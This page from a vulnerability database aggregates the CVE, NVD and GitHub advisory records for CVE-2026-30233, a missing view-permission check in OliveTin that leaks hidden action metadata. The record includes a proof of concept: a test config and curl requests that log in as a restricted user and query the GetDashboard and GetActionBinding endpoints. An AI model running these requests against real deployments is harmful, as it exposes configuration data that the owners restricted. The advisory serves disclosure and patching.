Vulnerability-Lookup

CVE-2026-30233 (GCVE-0-2026-30233)

Vulnerability from cvelistv5 – Published: 2026-03-06 21:05 – Updated: 2026-03-09 20:54

Title

OliveTin: View permission not being checked when returning dashboards

Summary

OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CWE-862 - Missing Authorization

Assigner

GitHub_M

References

URL

Tags

	https://github.com/OliveTin/OliveTin/security/adv…	x_refsource_CONFIRM
	https://github.com/OliveTin/OliveTin/commit/d7962…	x_refsource_MISC
	https://github.com/OliveTin/OliveTin/releases/tag…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	OliveTin	OliveTin	Affected: < 3000.11.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-30233",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-09T20:46:55.609824Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-09T20:54:29.334Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "OliveTin",
          "vendor": "OliveTin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3000.11.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-06T21:05:36.698Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg"
        },
        {
          "name": "https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0"
        },
        {
          "name": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
        }
      ],
      "source": {
        "advisory": "GHSA-jf73-858c-54pg",
        "discovery": "UNKNOWN"
      },
      "title": "OliveTin: View permission not being checked when returning dashboards"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-30233",
    "datePublished": "2026-03-06T21:05:36.698Z",
    "dateReserved": "2026-03-04T17:23:59.798Z",
    "dateUpdated": "2026-03-09T20:54:29.334Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-30233\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-06T21:16:17.370\",\"lastModified\":\"2026-03-12T15:19:08.037\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1.\"},{\"lang\":\"es\",\"value\":\"OliveTin permite el acceso a comandos shell predefinidos desde una interfaz web. Antes de la versi\u00f3n 3000.11.1, una falla de autorizaci\u00f3n en OliveTin permite a usuarios autenticados con permiso view: false enumerar enlaces de acci\u00f3n y metadatos a trav\u00e9s de los puntos finales del panel de control y la API. Aunque la ejecuci\u00f3n (exec) puede ser denegada correctamente, el backend no aplica IsAllowedView() al construir las respuestas del panel de control y los enlaces de acci\u00f3n. Como resultado, los usuarios restringidos pueden recuperar t\u00edtulos de acci\u00f3n, IDs, iconos y metadatos de argumentos. Este problema ha sido parcheado en la versi\u00f3n 3000.11.1.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\",\"baseScore\":6.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":3.6},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\",\"baseScore\":4.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":1.4}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-200\"},{\"lang\":\"en\",\"value\":\"CWE-862\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-862\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:olivetin:olivetin:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"3000.11.1\",\"matchCriteriaId\":\"36F31F34-F899-413C-9A07-C14E32C66807\"}]}]}],\"references\":[{\"url\":\"https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\",\"Release Notes\"]},{\"url\":\"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-30233\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-09T20:46:55.609824Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-09T20:47:38.365Z\"}}], \"cna\": {\"title\": \"OliveTin: View permission not being checked when returning dashboards\", \"source\": {\"advisory\": \"GHSA-jf73-858c-54pg\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 6.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"OliveTin\", \"product\": \"OliveTin\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 3000.11.1\"}]}], \"references\": [{\"url\": \"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg\", \"name\": \"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0\", \"name\": \"https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1\", \"name\": \"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-200\", \"description\": \"CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-862\", \"description\": \"CWE-862: Missing Authorization\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-06T21:05:36.698Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-30233\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-09T20:54:29.334Z\", \"dateReserved\": \"2026-03-04T17:23:59.798Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-06T21:05:36.698Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-30233

Vulnerability from fkie_nvd - Published: 2026-03-06 21:16 - Updated: 2026-03-12 15:19

Severity ?

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0	Patch
security-advisories@github.com	https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1	Product, Release Notes
security-advisories@github.com	https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	olivetin	olivetin	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:olivetin:olivetin:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "36F31F34-F899-413C-9A07-C14E32C66807",
              "versionEndExcluding": "3000.11.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. This issue has been patched in version 3000.11.1."
    },
    {
      "lang": "es",
      "value": "OliveTin permite el acceso a comandos shell predefinidos desde una interfaz web. Antes de la versi\u00f3n 3000.11.1, una falla de autorizaci\u00f3n en OliveTin permite a usuarios autenticados con permiso view: false enumerar enlaces de acci\u00f3n y metadatos a trav\u00e9s de los puntos finales del panel de control y la API. Aunque la ejecuci\u00f3n (exec) puede ser denegada correctamente, el backend no aplica IsAllowedView() al construir las respuestas del panel de control y los enlaces de acci\u00f3n. Como resultado, los usuarios restringidos pueden recuperar t\u00edtulos de acci\u00f3n, IDs, iconos y metadatos de argumentos. Este problema ha sido parcheado en la versi\u00f3n 3000.11.1."
    }
  ],
  "id": "CVE-2026-30233",
  "lastModified": "2026-03-12T15:19:08.037",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-06T21:16:17.370",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        },
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-JF73-858C-54PG

Vulnerability from github – Published: 2026-03-05 21:24 – Updated: 2026-03-06 22:52

Summary

OliveTin doesn't check view permission when returning dashboards

Details

Summary

An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.

Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.

Details

OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.

Relevant source locations:

dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430)

Dashboard building logic:

for _, binding := range rr.ex.MapActionBindings {
    if binding.Action.Hidden { continue }
    action := buildAction(binding, rr) // checks IsAllowedExec only
    fieldset.Contents = append(fieldset.Contents, ...)
}

Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).

PoC

Configure OliveTin with a restricted user:

Create config.yaml:

authRequireGuestsToLogin: true

authLocalUsers:
  enabled: true
  users:
    - username: admin
      password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # password: admin123
      permissions:
        view: true
        exec: true
        logs: true

    - username: low
      password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # password: low123
      permissions:
        view: false   # Should hide all actions
        exec: false
        logs: false

actions:
  - title: "Secret Action"
    id: secret_action
    shell: echo "sensitive operation"
    icon: "🔒"
    description: "This action should be completely hidden"
    arguments:
      - name: target
        title: Target
        type: string
        default: production

Start OliveTin with this configuration
Login as low-privilege user and capture session ID:

# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"low123"}' \
  | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')

echo "Low user SID: $LOW_SID"

Verify the web UI respects view:false (optional but illustrative):

Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.

Test 1: GetDashboard endpoint leaks action metadata:

curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")'

Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable):

{
  "action": {
    "bindingId": "secret_action",
    "title": "Secret Action",
    "icon": "🔒",
    "description": "This action should be completely hidden",
    "canExec": false,
    "arguments": [
      {
        "name": "target",
        "title": "Target",
        "type": "string",
        "default": "production"
      }
    ]
  }
}

Test 2: GetActionBinding endpoint directly exposes action details:

curl -s -X POST http://localhost:1337/api/GetActionBinding \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"bindingId":"secret_action"}' | jq '.'

Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable):

{
  "action": {
    "bindingId": "secret_action",
    "title": "Secret Action",
    "icon": "🔒",
    "description": "This action should be completely hidden",
    "canExec": false,
    "arguments": [...]
  }
}

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260305082002-d7962710e7c4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T21:24:24Z",
    "nvd_published_at": "2026-03-06T21:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.\n\nAlthough execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.\n\n### Details\nOliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.\n\nRelevant source locations:\n\ndashboards.go (around line 120, 132)\napiActions.go (around line 122)\nacl.go (around line 125)\napi.go (around line 430)\n\nDashboard building logic:\n```\nfor _, binding := range rr.ex.MapActionBindings {\n    if binding.Action.Hidden { continue }\n    action := buildAction(binding, rr) // checks IsAllowedExec only\n    fieldset.Contents = append(fieldset.Contents, ...)\n}\n```\nWhy vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).\n\n### PoC\n\n\n\n\n1. Configure OliveTin with a restricted user:\n\nCreate config.yaml:\n\n```yaml\nauthRequireGuestsToLogin: true\n\nauthLocalUsers:\n  enabled: true\n  users:\n    - username: admin\n      password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\"  # password: admin123\n      permissions:\n        view: true\n        exec: true\n        logs: true\n    \n    - username: low\n      password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\"  # password: low123\n      permissions:\n        view: false   # Should hide all actions\n        exec: false\n        logs: false\n\nactions:\n  - title: \"Secret Action\"\n    id: secret_action\n    shell: echo \"sensitive operation\"\n    icon: \"\ud83d\udd12\"\n    description: \"This action should be completely hidden\"\n    arguments:\n      - name: target\n        title: Target\n        type: string\n        default: production\n```\n2. Start OliveTin with this configuration\n\n3. Login as low-privilege user and capture session ID:\n\n```bash\n# Login as low user\nLOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"low\",\"password\":\"low123\"}\u0027 \\\n  | awk -F\u0027[=;]\u0027 \u0027/^Set-Cookie: olivetin-sid-local=/{print $2; exit}\u0027 | tr -d \u0027 \u0027)\n\necho \"Low user SID: $LOW_SID\"\n```\n4. Verify the web UI respects view:false (optional but illustrative):\n\nOpen http://localhost:1337 in a browser logged in as low user - the \"Secret Action\" should NOT appear in the UI.\n\n5. Test 1: GetDashboard endpoint leaks action metadata:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetDashboard \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \u0027{\"title\":\"Actions\"}\u0027 | jq \u0027.fieldsets[0].contents[] | select(.action.bindingId==\"secret_action\")\u0027\n```\nExpected behavior (if fixed): Empty result or no matching action\nObserved behavior (vulnerable):\n\n```json\n{\n  \"action\": {\n    \"bindingId\": \"secret_action\",\n    \"title\": \"Secret Action\",\n    \"icon\": \"\ud83d\udd12\",\n    \"description\": \"This action should be completely hidden\",\n    \"canExec\": false,\n    \"arguments\": [\n      {\n        \"name\": \"target\",\n        \"title\": \"Target\",\n        \"type\": \"string\",\n        \"default\": \"production\"\n      }\n    ]\n  }\n}\n```\n6. Test 2: GetActionBinding endpoint directly exposes action details:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetActionBinding \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \u0027{\"bindingId\":\"secret_action\"}\u0027 | jq \u0027.\u0027\n```\nExpected behavior (if fixed): HTTP 403 Permission Denied\nObserved behavior (vulnerable):\n\n```json\n{\n  \"action\": {\n    \"bindingId\": \"secret_action\",\n    \"title\": \"Secret Action\",\n    \"icon\": \"\ud83d\udd12\",\n    \"description\": \"This action should be completely hidden\",\n    \"canExec\": false,\n    \"arguments\": [...]\n  }\n}\n```",
  "id": "GHSA-jf73-858c-54pg",
  "modified": "2026-03-06T22:52:34Z",
  "published": "2026-03-05T21:24:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin doesn\u0027t check view permission when returning dashboards"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-30233 (GCVE-0-2026-30233)

FKIE_CVE-2026-30233

GHSA-JF73-858C-54PG

Summary

Details

PoC

Tags

Sightings

Nomenclature